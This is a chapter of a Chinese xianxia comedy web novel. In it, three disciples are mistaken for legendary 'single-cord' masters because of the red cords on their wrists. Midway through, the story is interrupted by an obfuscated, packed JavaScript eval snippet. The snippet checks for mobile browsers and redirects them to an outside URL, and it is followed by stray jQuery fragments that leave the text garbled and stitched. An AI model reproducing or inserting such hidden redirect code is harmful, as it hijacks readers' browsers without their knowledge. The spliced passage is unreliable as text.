8. 独绳客
作品:《错认师妹是娇花》 晓色初分,三人继续沿小路前行。
临近中午时,他们终于走出了那片茂密的山林。
三人看到前方出现了一个岔路口,路旁歪歪斜斜地立着一间茶棚。
茶棚看起来很简陋,但对于走了半天山路的他们来说,无疑是天堂。
“去歇歇脚,打听一下路。”郎遥玉提议。
三人走进茶棚后,棚子里坐着几桌人,看打扮多是行脚的商贩和附近的村民。
他们找了个靠边的空桌坐下,点了三碗最便宜的粗茶和三个馒头。
他们的到来,立刻引起了棚内其他人的注意。
窃窃私语声响起。
“瞧那几位,气度不凡啊……”
“像是大宗门出来的弟子?”
“嘘,小声点,别惹麻烦。”
三人并未在意,自顾自地喝茶,低声讨论着接下来的路线。
忽地,茶棚外传来一阵吵闹和马蹄声。
五六个腰佩兵刃的汉子大步走了进来,个个神色彪悍。
为首的是一个脸上带着刀疤的壮汉。
他们一进来,原本还算热闹的茶棚一时安静了下来,普通商户都下意识地缩了缩脖子,显然对这伙人颇为畏惧。
“老板,上好茶。快点!”刀疤脸粗声粗气地喊道,目光扫过棚内,在看到芙矜三人时,明显愣了一下,尤其是在芙矜和南淮叙身上停留了片刻,神色惊疑。
店小二战战兢兢地送上茶水后,那伙人便喝着茶大声谈笑起来,言语粗俗,内容无非是些江湖恩怨、打打杀杀。
其中一个瘦高个,大概是喝多了几口劣酒,眼神瞄向了芙矜这边,带着几分淫邪之意,嘿嘿笑道:“老大,你看那小娘们,长得真水灵,比镇上青楼的头牌还要标致,旁边那小白脸也不错,细皮嫩肉的……”
他话音未落,芙矜的眉头就皱了起来,手按上了葫芦。
郎遥玉的眼神也冷了下来,暗暗握住了手中的竹枝。
南淮叙虽然面色不变,但端着茶杯的手指也悄悄收紧。
那刀疤脸老大狠狠瞪了瘦高个一眼,低喝道:“闭嘴!不长眼的东西!”
他的目光再次落在三人身上,这一次,看得更加仔细。
他的视线定格在了芙矜因为抬手按葫芦而露出的红绳上。
他像是看到了什么可怕的东西,脸上的刀疤都抽搐了一下。
他站起身,对着还在嚷嚷的瘦高个就是一个耳光。
“啪!”
这记耳光清脆响亮。
瘦高个被打懵了,棚内其他人也惊呆了。
“老大,你……”
“给老子闭嘴,你想死别拉着兄弟们!”刀疤脸厉声打断他,声音颤抖。
他转向芙矜三人,脸上挤出一个比哭还难看的的笑容,抱拳躬身。
“在、在下清风寨赵莽,手下兄弟不懂事,有眼无珠,冲撞了三位前辈,还望三位前辈大人有大量,饶过他这条狗命。”
前辈?
芙矜、郎遥玉、南淮叙三人对视一眼,完全没搞懂状况。
他们看起来很像前辈吗?
郎遥玉心思一转,虽然不明所以,但对方既然认怂,他乐得省事,于是故作高深用竹枝轻轻敲了敲桌面。
“管好你的人,滚吧。”
他没有承认,也没有否认前辈的称呼,这种模棱两可的态度,在刀疤脸赵莽看来更是坐实了高人的身份。
“是是是!多谢前辈不杀之恩,我们这就滚,这就滚。”赵莽如蒙大赦,然后对着还在发愣的手下低吼,“还愣着干什么,快走!”
那伙人虽然不明白,但见老大如此惶恐,也不敢多问,灰溜溜地地冲出了茶棚,翻身上马,绝尘而去。
茶棚内的所有目光都聚焦在芙矜三人身上,充满了敬畏、好奇和难以置信。
店小二哆哆嗦嗦地过来,声音发颤:“三、三位客官,你们的茶钱免了,算小店请的!”
三人:“……”
直到离开茶棚很远,确定周围没人了芙矜才忍不住开口,举起自己的手腕看着那根红绳,满脸不可思议:“他们……刚才是不是因为这个,把我们当成什么隐世高手了?”
郎遥玉摸着下巴,眼中满是算计:“一根红绳……难道江湖上有什么我们不知道的,关于红绳客的传说?听起来好像很厉害的样子!”
南淮叙沉吟道:“不过,这群人定然没有见过真人。”
“管他呢!”芙矜眼睛亮了起来,晃了晃手腕,“这好像是个不错的护身符啊,说不定可以靠它省去很多麻烦。”
郎遥玉咧嘴一笑:“看来,这下山历练比想象中更有趣了。”
穿过最后一片山林,三人看见了一座村镇。
清泉镇。
而此时此刻青云宗的三位亲传弟子正站在这个名为“清泉镇”的村口。
事情还要从半个时辰前说起。
三人沿着山路行来,远远便瞧见村口那棵歪脖子树下聚着几个村民。
就在他们踏入村口石阶的时候,原本蹲在树下抽旱烟的老汉猛地站起身,烟杆掉在了地上。
旁边正在纳鞋底的妇人手一抖,针扎进了指头里。
几个半大的孩子原本追逐打闹着,此刻却像被施了定身咒,瞪圆了眼睛盯着他们三人的手腕。
郎遥玉挑眉:“我脸上有东西?”
芙矜摸了摸发带:“是我发带系歪了?”
南淮叙闻言将脊背挺得更直:“仪容无误。”
忽而间,那捡起烟杆的老汉颤巍巍上前。
“三、三位大侠……”老汉声音发抖,竟是抱拳一躬,“小老儿有眼无珠,不知是独绳客驾临,万望恕罪!”
他身后所有村民齐刷刷躬身,神色敬畏,仿佛见了什么了不得的大人物。
三人:“???”
芙矜眨了眨杏眼,传音入耳:【独绳客?什么玩意儿?】
郎遥玉嘴角微抽:【听着像月老祠里跑出来的。】
南淮叙的视线落在自己腕间那根红绳上,脑中灵光一闪:【是红绳。】
果然,那老汉直起身,仍是小心翼翼:“三位尊者腕系独绳,想必已至‘万法归宗,一线通天’的化境。清泉镇能得三位驻足,实乃百年福缘!”
原来,江湖不知何时起,流传起一个说法。
某些隐世高手为磨砺心志、隐匿修为,会以腕间红绳数量示人。
红绳越多,代表封印的力量越强,修为越低。
而红绳越少,则意味着解开的封印越多,实力越恐怖。
当只剩一根红绳时,便已是返璞归真,臻至化境,被称为“一线通天”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105012|195773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三人想起了那场让他们狼狈不堪的篝火意外。
要不要这么巧啊!
谁能想到,阴差阳错竟造就了这样一个天大的误会。
芙矜反应最快,当即轻咳一声,端起架势。
她本就面容姣好,此刻刻意板起脸,倒真有几分高深莫测:“老人家眼力不错。我等途经此地,确为体察民情。”
她实在编不出游山玩水之外的借口。
郎遥玉立刻会意,手中竹枝挽了个剑花。
他本意是耍帅,却见村民们脖子一缩,眼神更敬畏了。
他心下得意,下巴微扬,语气却又十分疏离:“嗯。”
南淮叙内心挣扎了一瞬,利用此等误会招摇撞骗,实在非君子所为。
但当他眼角瞥见芙矜悄悄捏紧的拳头,以及郎遥玉那“敢拆台你就完了”的眼神,他终究叹了口气:“叨扰了。”
这矜持而完美的风度,在村民眼中,更是高手风范的体现。
瞧,真正的强者,连客气都这么有分寸。
……
误会,就像滚下山的雪球,越滚越大。
三人被请进村不到一盏茶的功夫,村里的一位德高望重的人便匆匆来到。
此人是一位留着山羊胡、眼神精明的中年汉子。
他确认了三人腕间独绳后,态度比歪脖子树下的村民还要热情十倍,直接将他们请进了村里最好的客房。
一座刚刚打扫干净、尚且飘着霉味的谷仓。
“三位尊者屈尊降贵,陋室简薄,万勿见怪!”中年人搓着手,脸上堆满笑,“已命人备下清茶素斋,为尊者接风。”
芙矜看着草席铺就的“床”,嘴角抽了抽,但想到高人人设,只能故作淡然:“心静,则处处净土。”
郎遥玉抱着他的竹剑,靠在门口,闻言瞥了她一眼,传音:【你上次说的‘净土’还是指掌门藏酒的地窖。】
芙矜面不改色,传音回敬:【闭嘴,想想怎么赚灵石。】
南淮叙仔细观察了一下屋内环境,确认虽简陋却还算干净,这才优雅落座。
即使坐在草垫上,他的脊背还是直的。
他这等做派,更让暗中观察的村民确信,此三人绝非凡俗。
接风宴果然“清茶素斋”。
一壶寡淡的粗茶,几碟水煮青菜,连点油星都看不见。
郎遥玉盯着那绿油油的菜叶子,脸色发青。
他可是无肉不欢啊。
芙矜努力维持表情,心里的小人在咆哮:灵鸡!我的炸灵鸡!
唯有南淮叙,执起竹筷,慢条斯理地品尝起来,像是在享用御宴珍馐。
他甚至对侍立的村民颔首:“食材本味,返璞归真,甚好。”
中年人激动得胡子直抖:“尊者懂行!”
芙矜:“……”
郎遥玉:“……”
南淮叙,算你狠!
宴席间,村民旁敲侧击,打听三人的目的。
芙矜放下茶杯,做高人遥望天际状:“云游四海,随缘而至。”
郎遥玉配合地冷哼一声,指间竹叶翻飞:“路见不平,自有剑鸣。”
南淮叙放下筷子,用丝帕轻拭嘴角,语气平和:“不该问的,莫问。”
中年汉人浑身一凛,冷汗差点下来,连连称是,再不敢多嘴。

